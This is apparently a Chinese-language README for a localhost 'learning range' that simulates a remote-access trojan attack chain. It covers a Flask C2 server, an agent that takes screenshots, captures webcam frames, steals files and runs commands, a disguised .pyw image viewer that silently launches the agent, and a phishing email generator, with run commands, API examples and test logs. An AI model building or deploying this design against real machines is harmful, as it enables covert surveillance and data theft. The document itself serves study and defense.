定位:本地安全学习靶场 —— 模拟「图片入侵 / 邮件入侵 → 受害者上线 → 服务器端可视化远程控制」的完整攻击链全部在本机完成:本机既当"受害者",又当"攻击者服务器"实测结果:3 台"受害机"成功上线,截图 / 磁盘列表 / 目录浏览 / 远程命令 / 图片投递上线全部验证通过
目录
一、项目架构
┌─────────────────────────┐ ┌──────────────────────────┐│ 攻击者服务器 (C2 Server) │ │ 受害者电脑 (Agent) ││ ─────────────────────── │ │ ──────────────────────── ││ Flask Web 控制台 │ HTTP │ 注册上线(IP/用户名/MAC) ││ - 上线列表 Dashboard │◄───────►│ 心跳保活(每3秒) ││ - 单机控制面板 │ JSON │ 任务拉取与执行 ││ - 任务调度/结果存储 │ │ 截图/摄像头/文件/命令 ││ - 窃取文件落盘 │ │ │└──────────┬──────────────┘ └──────────┬───────────────┘ │ │ │ 投递阶段 (图片/邮件) │ 受害者双击查看器 ▼ ▼┌─────────────────────────┐ ┌──────────────────────────┐│ 投递包生成 (stager.py) │────────►│ 诱饵图片 + 伪装查看器 ││ 钓鱼邮件 (fake_email.py) │ │ (后台静默启动 Agent) │└─────────────────────────┘ └──────────────────────────┘
通信方式:Agent 主动连接 C2(HTTP + JSON),无反向连接、无端口监听——这就是真实木马的"回连"(C2 callback)模式。
二、目录结构
c2_lab/├── server/│ ├── c2_server.py # C2 控制端服务器 (Flask)│ └── templates/│ ├── dashboard.html # 受害者上线列表页面│ └── agent_panel.html # 单台受害机控制面板├── agent/│ └── agent.py # 受害者端木马 (注册/心跳/任务执行)├── attacker/│ ├── stager.py # 图片入侵投递包生成器│ ├── fake_email.py # 钓鱼邮件生成器│ └── delivery/ # 生成的投递包 (运行 stager 后出现)│ ├── xxx.png # 诱饵图片│ ├── agent.py # 木马本体│ └── xxx_查看器.pyw # 受害者双击的入口├── data/ # 运行时数据 (自动生成)│ ├── agents.json # 上线列表存档│ ├── tasks.json # 任务存档│ └── stolen/ # 从受害者窃取的文件└── requirements.txt
三、攻击链总览
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐│ 1. 投递 │──►│ 2. 诱骗 │──►│ 3. 上线 │──►│ 4. 控制 │──►│ 5. 窃取 ││ 图片/邮件 │ │ 双击查看器 │ │ Agent注册 │ │ 远程操作 │ │ 数据落盘 │└──────────┘ └──────────┘ └──────────┘ └──────────┘ └──────────┘ stager.py 打开图片掩护 上报IP/用户名 截图/摄像头 图片/文件 fake_email 后台启动Agent 心跳保活 文件/命令 存入data/stolen
| | |
|---|
| | stager.py 生成投递包、fake_email.py 生成钓鱼邮件 |
| | .pyw 伪装查看器:打开真图片掩护 + 后台启动 Agent |
| | Agent 注册上报 主机名/用户名/IP/MAC/PID,3 秒心跳 |
| | 控制面板下发任务:截图/摄像头/屏幕/磁盘/文件/命令 |
| | 任务结果 base64 回传,文件落盘 data/stolen/ |
四、快速开始(3 步体验完整流程)
第 1 步:启动 C2 控制端
cd D:\yangshaoping\kiro-project\gr\2026\08\0812\c2_labpython server/c2_server.py
看到 Serving Flask app 即成功。浏览器打开
可看到空的上线列表。
第 2 步:启动受害者 Agent(多开模拟多台电脑)
# 终端 2 - 模拟"研发部张三的电脑"python agent/agent.py --id win-01 --name "研发部-张三的电脑"# 终端 3 - 模拟"财务部李四的电脑"python agent/agent.py --id win-02 --name "财务部-李四的电脑"
Agent 启动后自动注册上线,控制台会打印:
[+] 注册成功! agent_id=win-01 is_new=True 受害信息: yangshaoping.ex@YANGSHAOPING-EX IP=10.16.141.38 MAC=00-72-EE-18-76-12
第 3 步:体验图片入侵投递(最直观的攻击链演示)
# 终端 4 - 生成投递包python attacker/stager.py --name "IMG_20260812_团建照片"# 模拟受害者双击"查看器"(本地实际弹出图片窗口 + 后台上线)pythonw "attacker\delivery\IMG_20260812_团建照片_查看器.pyw"
回到 C2 控制台刷新,第三台"受害机"已自动上线——这就是完整的"图片入侵"链路。
五、详细操作步骤
5.1 启动 C2 控制端
cd D:\yangshaoping\kiro-project\gr\2026\08\0812\c2_labpython server/c2_server.py --port 5000
启动信息:
============================================================== C2 控制端服务器 (本地安全学习) 控制台地址: http://127.0.0.1:5000 数据目录: D:\...\c2_lab\data 窃取文件: D:\...\c2_lab\data\stolen==============================================================
5.2 启动受害者 Agent(可多开模拟多台电脑)
# 默认参数:连 127.0.0.1:5000,心跳 3 秒python agent/agent.py --id win-01 --name "研发部-张三的电脑"# 更多模拟:每多开一个终端,就多一台"受害机"python agent/agent.py --id win-02 --name "财务部-李四的电脑"python agent/agent.py --id win-03 --name "销售部-王五的电脑"# 自定义控制端地址(可模拟"异地受害机")python agent/agent.py --server http://192.168.x.x:5000 --id mac-01
Agent 上报的真实信息(本机实际采集):主机名、用户名、内网 IP、MAC 地址、操作系统、进程 PID。
5.3 浏览器查看上线列表(Dashboard)
打开
**http://127.0.0.1:5000/**:
- 顶部统计卡片:在线数 / 累计上线 / 已离线 / 已执行任务数
- 上线表格:状态(绿点在线/红点离线)、备注名、Agent ID、用户名、主机名、IP、MAC、操作系统、首次上线时间、最后心跳、任务数
- 每 5 秒自动刷新,点击「进入控制台」跳转单机面板
5.4 进入单台受害机控制面板
点击上线列表中的「进入控制台」→ 打开
http://127.0.0.1:5000/agent/win-01
面板分三个功能区:
① 监控操作
| | |
|---|
| screenshot | |
| screen_share | |
| camera_open | |
| camera_close | |
| camera_frame | |
| sysinfo | |
截图/摄像头图片可点击「 保存到本地」下载到攻击者机器——演示数据窃取。
② 磁盘与文件操作
- 点击「💿 加载磁盘列表」→ 显示受害者所有盘符(实测:
C:\、D:\) - 输入目录路径(如
C:\Users\Public)→「📂 打开目录」→ 显示文件列表(名称/类型/大小) - ⬇ 下载:文件内容 base64 回传,浏览器直接保存——文件窃取
③ 远程命令执行
- 输入任意命令执行(如
whoami、ipconfig、tasklist) whoami / ipconfig / systeminfo / tasklist(信息收集)- 🛑 10 秒后关机:
shutdown /s /t 10 - 🔄 10 秒后重启:
shutdown /r /t 10
⚠️ 关机/重启命令真实生效!测试时建议先执行 shutdown /a 取消,或用 --name 备注清楚的模拟机。
5.5 图片入侵投递演示
完整模拟"攻击者制作图片木马 → 受害者中招":
# 1. 生成投递包(诱饵图片 + 木马本体 + 伪装查看器)python attacker/stager.py --name "IMG_20260812_团建照片"# 生成的投递包在 attacker/delivery/ 目录:# IMG_20260812_团建照片.png <- 受害者看到的诱饵照片# agent.py <- 木马本体# IMG_20260812_团建照片_查看器.pyw <- 受害者双击的入口# 2. 模拟"投递"到受害者下载目录copy attacker\delivery %USERPROFILE%\Downloads\# 3. 模拟受害者双击"查看器"(Windows 下无窗口运行)pythonw "%USERPROFILE%\Downloads\IMG_20260812_团建照片_查看器.pyw"
受害者视角的效果:
- 系统打开默认照片查看器显示诱饵图片(受害者以为只是看照片)
5.6 邮件入侵投递演示
# 生成钓鱼邮件并自动打开预览(模拟收件箱)python attacker/fake_email.py --to zhangsan@company.local
生成的 attacker/phishing_email.html 模拟一封「部门活动照片分享」邮件,正文引导收件人下载附件中的"照片查看器"——攻击链与 5.5 完全衔接。
真实攻击中,这封邮件会被群发到受害者邮箱;本地学习中它演示的是投递载体的构造方式。
5.7 远程执行命令(关机/重启演示)
# 在控制面板的命令输入框执行:ipconfig # 查看受害者网络配置systeminfo # 受害者完整系统信息tasklist # 受害者进程列表shutdown /s /t 30 # 30 秒后关机(可用 shutdown /a 取消)
执行结果实时回显到页面,含退出码和 stdout/stderr。
六、API 接口说明
| | | |
|---|
| /api/agent/register | | 注册上线,上报主机名/用户名/IP/MAC/PID |
| /api/agent/heartbeat | | |
| /api/task/result | | |
| /api/agents | | |
| /api/agent/<id> | | |
| /api/task/create | | |
| /api/task/<id> | | |
| / | | |
| /agent/<id> | | |
任务下发请求示例:
POST /api/task/create{"agent_id": "win-01","type": "exec_cmd","params": { "cmd": "whoami" }}
Agent 心跳请求示例:
POST /api/agent/heartbeat{ "agent_id": "win-01" }// 响应: { "status": "ok", "tasks": [{ "task_id": "...", "type": "screenshot", "params": {} }] }
七、任务类型说明
| | | |
|---|
screenshot | | | |
screen_share | | | |
camera_open | | | |
camera_close | | | |
camera_frame | | | |
sysinfo | | | |
list_drives | | | |
list_files | path | | |
download_file | path | | |
copy_file | src | | |
delete_file | path | | |
exec_cmd | cmd | | |
八、实测验证记录
测试时间:2026-08-12 | 环境:Windows 11 / Python 3.13 / Flask 3.x / Pillow 12.3
8.1 上线验证(3 台"受害机")
| | | | | |
|---|
| | yangshaoping.ex@YANGSHAOPING-EX | | | |
| | yangshaoping.ex@YANGSHAOPING-EX | | | |
| IMG_20260812_团建照片(图片投递触发) | | | | |
8.2 任务执行验证
| | |
|---|
screenshot | | ✅ 返回真实截屏,base64 长度 384,992 |
list_drives | | |
exec_cmd whoami | | ✅ 输出 hisense\yangshaoping.ex,exit=0 |
list_files C:\Users\Public | | ✅ 9 个条目(AccountPictures/Desktop/Documents...) |
| | |
8.3 攻击链完整闭环
生成投递包(stager.py) → 双击查看器 → 显示图片+后台上线→ C2 列表出现新受害者 → 下发截图/命令 → 结果回传并展示
九、代码文件详解
9.1 server/c2_server.py — C2 控制端
| |
|---|
api_agent_register() | 受害者注册上线,首次注册创建记录,重复注册刷新心跳 |
api_agent_heartbeat() | 心跳 + 任务拉取(返回该 Agent 所有 pending 任务) |
api_task_result() | 接收任务结果;含 base64 的文件自动落盘到 data/stolen/ |
api_create_task() | 下发任务到指定 Agent(写入 tasks 字典,Agent 下次心跳时取走) |
heartbeat_checker() | 后台线程,每 5 秒巡检心跳,超 15 秒未心跳标记离线 |
| agents.json |
9.2 agent/agent.py — 受害者端
| |
|---|
get_system_info() | |
register() | |
| 每 3 秒心跳 → 拉任务 → execute_task() 执行 → 回传结果 |
TASK_HANDLERS | 12 种任务的处理函数映射表(截图/摄像头/文件/命令) |
| |
9.3 attacker/stager.py — 图片投递包生成器
- 生成
.pyw 伪装查看器:打开诱饵图片掩护 + 后台启动 Agent
9.4 attacker/fake_email.py — 钓鱼邮件生成器
十、防御与检测建议
学习完攻击过程,思考如何防御这种攻击:
| |
|---|
| |
| |
| 出口防火墙白名单、DNS 监控异常域名、EDR 检测异常进程 |
| |
| 数据防泄漏(DLP)、异常大流量监控、文件访问审计 |
| 最小权限原则、端点隔离、杀软/EDR 实时防护、补丁管理 |
检测线索:无窗口运行的 pythonw 进程、异常的 3 秒 HTTP 心跳、data/stolen/ 目录的图片文件、监听 5000 端口的进程。
十一、常见问题排查
| | |
|---|
| | 先运行 python server/c2_server.py |
| | pip install Pillow |
| | pip install opencv-python |
| | python server/c2_server.py --port 6000,Agent 用 --server http://127.0.0.1:6000 |
| | |
| | |
| | Agent 会后台重试注册,启动 C2 后自动上线 |
十二、安全声明
⚠️ 重要法律与道德提醒
- 本套件仅用于本地安全学习、授权测试与攻防研究,代码全部绑定
127.0.0.1; - 严禁对未经授权的系统、他人设备、公网目标使用本套件或其中任何代码;
- 未经授权对计算机系统进行渗透测试可能构成 《刑法》第 285/286 条(非法侵入/破坏计算机信息系统罪);
- 远程关机/重启命令真实生效,请只在本人测试机上验证;
- 学习完成后建议删除
data/stolen/ 中的证据文件、attacker/delivery/ 投递包; - 真实木马通常使用加密通信(HTTPS/TLS)、域前置、进程注入等技术,本实验为教学简化版;